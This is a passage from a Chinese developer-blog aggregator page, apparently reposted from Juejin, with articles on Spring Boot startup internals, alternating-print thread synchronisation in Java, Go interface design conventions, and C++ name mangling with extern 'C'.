default void contextPrepared(ConfigurableApplicationContext context) {}
default void contextLoaded(ConfigurableApplicationContext context) {}
/**
EventPublishingRunListener 后期采用 context.publishEvent(ApplicationEvent)
**/
default void started(ConfigurableApplicationContext context) {}
default void running(ConfigurableApplicationContext context) {}
default void failed(ConfigurableApplicationContext context, Throwable exception) {}
}

3.2 prepareEnvironment

一般在写业务代码时使用的都是只读类型的接口Environment,该接口是对运行程序环境的抽象,是保存系统配置的中心,而在启动过程中使用的则是可编辑的ConfigurableEnvironment。接口的UML类图如下,提供了合并父环境、添加active profile以及一些设置解析配置文件方式的接口。

其中一个比较重要的方法MutablePropertySources getPropertySources();,该方法返回一个可编辑的PropertySources,如果有在启动阶段自定义环境的PropertySources的需求,就可以通过该方法设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
java复制代码private ConfigurableEnvironment prepareEnvironment(SpringApplicationRunListeners listeners,
ApplicationArguments applicationArguments) {
// Create and configure the environment
//根据不同环境不同的Enviroment (StandardServletEnvironment,StandardReactiveWebEnvironment,StandardEnvironment)
ConfigurableEnvironment environment = getOrCreateEnvironment();
//填充启动类参数到enviroment 对象
configureEnvironment(environment, applicationArguments.getSourceArgs());
//更新参数
ConfigurationPropertySources.attach(environment);
//发布事件
listeners.environmentPrepared(environment);
//绑定主类
bindToSpringApplication(environment);
if (!this.isCustomEnvironment) {//转换environment的类型,但这里应该类型和deduce的相同不用转换
environment = new EnvironmentConverter(getClassLoader()).convertEnvironmentIfNecessary(environment,
deduceEnvironmentClass());
}
//将现有参数有封装成proertySources
ConfigurationPropertySources.attach(environment);
return environment;
}

3.3 创建springApplicationContext 上下文

springApplicationContext.png

继承的三个父类接口里,Closeable提供了关闭时资源释放的接口,Lifecycle是提供对生命周期控制的接口(start\stop)以及查询当前运行状态的接口,ApplicationContext则是配置上下文的中心配置接口,继承了其他很多配置接口,其本身提供查询诸如id、应用程序名等上下文档案信息的只读接口,以及构建自动装配bean的工厂。

  • EnvironmentCapable

提供Environment接口。

  • MessageSource

国际化资源接口。

  • ApplicationEventPublisher

事件发布器。

  • ResourcePatternResolver

资源加载器。

  • HierarchicalBeanFactory、ListableBeanFactory

这两个都继承了bean容器的根接口BeanFactory

简而言之就是根据Web容器类型的不同来创建不用的上下文实例。

3.4 上下文初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
java复制代码private void prepareContext(ConfigurableApplicationContext context, ConfigurableEnvironment environment,
SpringApplicationRunListeners listeners, ApplicationArguments applicationArguments, Banner printedBanner) {
//绑定环境
context.setEnvironment(environment);
//如果application有设置beanNameGenerator、resourceLoader就将其注入到上下文中,并将转换工具也注入到上下文中
postProcessApplicationContext(context);
//调用初始化的切面
applyInitializers(context);
//发布ApplicationContextInitializedEvent事件
listeners.contextPrepared(context);
//日志
if (this.logStartupInfo) {
logStartupInfo(context.getParent() == null);
logStartupProfileInfo(context);
}
// Add boot specific singleton beans
ConfigurableListableBeanFactory beanFactory = context.getBeanFactory();
beanFactory.registerSingleton("springApplicationArguments", applicationArguments);
if (printedBanner != null) {
beanFactory.registerSingleton("springBootBanner", printedBanner);
}
if (beanFactory instanceof DefaultListableBeanFactory) {
//如果bean名相同的话是否允许覆盖,默认为false,相同会抛出异常
((DefaultListableBeanFactory) beanFactory)
.setAllowBeanDefinitionOverriding(this.allowBeanDefinitionOverriding);
}
if (this.lazyInitialization) {
context.addBeanFactoryPostProcessor(new LazyInitializationBeanFactoryPostProcessor());
}
// Load the sources
// 这里获取到的是BootstrapImportSelectorConfiguration这个class,而不是自己写的启动来,这个class是在之前注册的BootstrapApplicationListener的监听方法中注入的
Set<Object> sources = getAllSources();
Assert.notEmpty(sources, "Sources must not be empty");
//加载sources 到上下文中
load(context, sources.toArray(new Object[0]));
//发布ApplicationPreparedEvent事件
listeners.contextLoaded(context);
}

3.5 刷新上下文

1
复制代码AbstractApplicationContext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
java复制代码public void refresh() throws BeansException, IllegalStateException {
synchronized (this.startupShutdownMonitor) {
//记录启动时间、状态,web容器初始化其property,复制listener
prepareRefresh();
//这里返回的是context的BeanFactory
ConfigurableListableBeanFactory beanFactory = obtainFreshBeanFactory();
//beanFactory注入一些标准组件,例如ApplicationContextAwareProcessor,ClassLoader等
prepareBeanFactory(beanFactory);
try {
//给实现类留的一个钩子,例如注入BeanPostProcessors,这里是个空方法
postProcessBeanFactory(beanFactory);

// 调用切面方法
invokeBeanFactoryPostProcessors(beanFactory);

// 注册切面bean
registerBeanPostProcessors(beanFactory);

// Initialize message source for this context.
initMessageSource();

// bean工厂注册一个key为applicationEventMulticaster的广播器
initApplicationEventMulticaster();

// 给实现类留的一钩子,可以执行其他refresh的工作,这里是个空方法
onRefresh();

// 将listener注册到广播器中
registerListeners();

// 实例化未实例化的bean
finishBeanFactoryInitialization(beanFactory);

// 清理缓存,注入DefaultLifecycleProcessor,发布ContextRefreshedEvent
finishRefresh();
}

catch (BeansException ex) {
if (logger.isWarnEnabled()) {
logger.warn("Exception encountered during context initialization - " +
"cancelling refresh attempt: " + ex);
}

// Destroy already created singletons to avoid dangling resources.
destroyBeans();

// Reset 'active' flag.
cancelRefresh(ex);

// Propagate exception to caller.
throw ex;
}

finally {
// Reset common introspection caches in Spring's core, since we
// might not ever need metadata for singleton beans anymore...
resetCommonCaches();
}
}
}

至此spring 启动主要工作基本完成,接下来发布AppStartedEvent事件,回调ApplicationRunner,CommandLineRunner等runner,发布applicationReadyEvent事件,spring 正式启动开始运行。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

多线程之切换输出

发表于 2021-11-29

这是我参与11月更文挑战的第7天,活动详情查看:2021最后一次更文挑战

一、多线程简介

  • 基本的 概念 是同时对多个任务加以控制,就是同时执行多个任务,通过提高资源使用效率来提高系统的效率。
  • 多线程 目的 :最大限度地利用CPU资源。
  • 多线程 优点 :1.资源利用率更好。 2. 程序设计在某些情况下更简单。 3.程序响应更快。
  • 线程执行过程(图源于网络)

1353351-20180425201208004-1326053784.png

二、实例解决方案解析(交替打印FooBar)

Question: 提供一个类如下,两个不同的线程将会共用一个 FooBar 实例。其中一个线程将会调用 foo() 方法,另一个线程将会调用 bar() 方法。请设计修改程序,以确保 “foobar” 被输出 n 次。

1
2
3
4
5
6
7
8
9
10
11
12
13
csharp复制代码class FooBar {
public void foo() {
    for (int i = 0; i < n; i++) {
      print("foo");
  }
}

public void bar() {
    for (int i = 0; i < n; i++) {
      print("bar");
    }
}
}

1、使用 BlockingQueue

  • BlockingQueue (阻塞队列) : 一个支持两个附加操作的队列。一个线程生产对象,而另外一个线程消费这些对象。
  • 1、在队列为空时,获取元素的线程会等待队列变为非空。
  • 2、当队列满时,存储元素的线程会等待队列可用。
  • 应用场景:阻塞队列常用于生产者和消费者的场景,生产者是往队列里添加元素的线程,消费者是从队列里拿元素的线程。阻塞队列就是生产者存放元素的容器,而消费者也只从容器里拿元素。一个线程将会持续生产新对象并将其插入到队列之中,直到队列达到它所能容纳的临界点。也就是说,它是有限的。如果该阻塞队列到达了其临界点,负责生产的线程将会在往里边插入新对象时发生阻塞。它会一直处于阻塞之中,直到负责消费的线程从队列中拿走一个对象。
  • 题解以及注释:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
java复制代码public class FooBar {
private int n;
private BlockingQueue<Integer> bar = new LinkedBlockingQueue<>(1); // 最大容量为 1
private BlockingQueue<Integer> foo = new LinkedBlockingQueue<>(1);
public FooBar(int n) {
this.n = n;
}
public void foo(Runnable printFoo) throws InterruptedException { // 可看作生产者
for (int i = 0; i < n; i++) {
foo.put(i); // 执行一次后,就达到了容量最大值,需要等待消费者消费。
printFoo.run();
bar.put(i);
}
}

public void bar(Runnable printBar) throws InterruptedException { // 可看作消费者
for (int i = 0; i < n; i++) {
bar.take(); // 必须在生产者生产后才能消费,消费完之后,又需要等待生产者下一次生产
printBar.run();
foo.take();
}
}
}

2、使用 Thread.yield() (自旋 + 让出CPU)

  • Thread.yield() 方法作用:暂停当前正在执行的线程对象,并执行其他线程(可以这么理解)。而 Thread.yield() 真正的作用是让当前正在运行的线程回到可运行状态,以允许具有相同优先级的其他线程获得运行的机会,如下图(源于网络)。

23214.png

  • 题解以及注释:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
ini复制代码class FooBar {
private int n;

public FooBar5(int n) {
this.n = n;
}

volatile boolean permitFoo = true; // 设置标识
volatile boolean permitBar = False;

public void foo(Runnable printFoo) throws InterruptedException {
for (int i = 0; i < n; ) {
if (permitFoo) {
printFoo.run();
i++;
permitFoo = false; // 转换状态
permitBar = true;
} else {
Thread.yield(); // 暂停当前线程,执行其他线程
}
}
}

public void bar(Runnable printBar) throws InterruptedException {
for (int i = 0; i < n; ) {
if (permitBar) {
printBar.run();
i++;
permitFoo = true; // 转换状态
permitBar = false;
} else {
Thread.yield(); // 暂停当前线程,执行其他线程
}
}
}
}

三、参考:

  • 参考1
  • 参考2

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

interface的定义和声明方式

发表于 2021-11-29

Golang interface关键字用来申明一组相关功能方法集合,是Go提供的抽象的主要手段。通过struct实现interface的所用声明来达到解耦,使用语法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
go复制代码// package Interface
type InterfaceName interface{
Method1()string
}

// Package Implement
type Implement struct {}

func (i Implement) Method() string {
return "Hello, Interface"
}

// Package main

任何实现了Interface的struct都是可以使用该类型的变量引用。下面是对本人在interface定义和使用中提到的一些常用的“误用“的说明。

Don’t define interface before needing it

预先定义的interface 即preemptive interface, 是不鼓励的,如果你只是实现一个功能,把功能暴露出来即可

Define Interface with Consumer, not Producer

通过前两条即可推理出,我们应该在Consumer中定义interface并且使用它作为函数的参数,在Producer中实现这些interface。这样还有一个好处是可以在consumer中很容易的mock 该producer,无需接触真正的实现。

Accepting interface & returns struct

Accepting interface

根据Postel’s law ”be liberal with what you accept, be conservative with what you do”, 函数参数接收interface,扩大了函数的使用场景,能够接收更多的参数类型。例如下面example, CountCharA接口Reader, 可以使该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
go复制代码func CountCharA(r io.Reader) (int64, error){
buf [10]byte
for {
nr, err := r.Read(buf)
if nr > 0 {
for _, b := range buf[0:nr]{
if b == 'A'{
cnt++
}
}
}

if err != nil {
if err != EOF{
return 0, err
}
return cnt, nil
}
}
return cnt, nil
}

// Usage
CountCharA(bytes.NewStringBuffer("this statement contains 3a"))
CountCharA(ioutil.ReadFile("file.txt"))

Returns struct

返回struct,可以保证使用者能够最大限度的使用我们函数结果,如果因为struct可以自由的转换成该struct实现的所有interface,而且便于修改,

但是凡是都例外, error interface,

另外一个情况是,当返回struct包含有非法状态时, 通过返回interface来控制struct实现的合法性,而无需在调用前检查其合法性。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

在 C++ 中命名 Mangling 和 extern “C

发表于 2021-11-29

「这是我参与11月更文挑战的第20天,活动详情查看:2021最后一次更文挑战」

C++ 支持函数重载,即可以有多个同名但不同参数的函数。C++ 编译器在生成目标代码时如何区分不同的函数——它通过添加有关参数的信息来更改名称。这种向函数名称添加附加信息的技术称为Name Mangling。C++ 标准没有指定任何特定的名称修改技术,因此不同的编译器可能会向函数名称附加不同的信息。

考虑以下 Name Mangling 示例,其中包含函数f() 的各种声明 :

1
2
3
c++复制代码int f(void) { return 1; }
int f(int) { return 0; }
void g(void) { int i = f(), j = f(0); }

一些 C++ 编译器可能会将上述名称改写为以下名称,

1
2
3
c++复制代码int __f_v(void) { return 1; }
int __f_i(int) { return 0; }
void __g_v(void) { int i = __f_v(), j = __f_i(0); }

注意: C 不支持函数重载,因此,当我们在 C++ 中链接 C 代码时,我们必须确保符号的名称不被更改。

从 C++ 链接时如何处理 C 符号?

在 C 中,名称可能不会被修改,因为它不支持函数重载。那么当我们在 C++ 中链接 C 代码时,如何确保符号的名称不被更改。例如,请参阅以下使用 C 的 printf() 函数的 C++ 程序。

1
2
3
4
5
6
7
8
c++复制代码#include <stdio.h>
int printf(const char* format, ...);

int main()
{
printf("haiyong");
return 0;
}

上述程序产生错误。

解释: 编译错误的原因很简单,c++编译器修改了printf() 的名字,没有找到新名字的函数定义。

解决方案: C++ 中的 Extern “C”

当一些代码被放入 extern “C” 块时,C++ 编译器确保函数名是未修改的——编译器发出一个名称不变的二进制文件,就像 C 编译器会做的那样。

如果我们把上面的程序改成下面这样,程序就可以正常工作并在控制台上打印“haiyong”(如下所示)。

1
2
3
4
5
6
7
8
9
10
11
12
c++复制代码#include <bits/stdc++.h>
using namespace std;

extern "C" {
int printf(const char* format, ...);
}

int main()
{
printf("haiyong");
return 0;
}

输出

1
c++复制代码haiyong

因此,所有 C 风格的头文件(stdio.h、string.h 等)在 extern “C”块中都有它们的声明。

1
2
3
4
5
6
7
c++复制代码#ifdef __cplusplus
extern "C" {
#endif
// Declarations of this file
#ifdef __cplusplus
}
#endif

以下是上面讨论的要点:

1. 由于 C++ 支持函数重载,因此必须在函数名称中添加附加信息(称为 Name mangling)以避免二进制代码中的冲突。

2. C 中不能更改函数名称,因为它不支持函数重载。为了避免链接问题,C++ 支持 extern “C” 块。C++ 编译器确保 extern “C” 块内的名称不会更改。

如果您发现任何不正确的内容,或者您​​想分享有关上述主题的更多信息,请发表评论。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…120121122…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%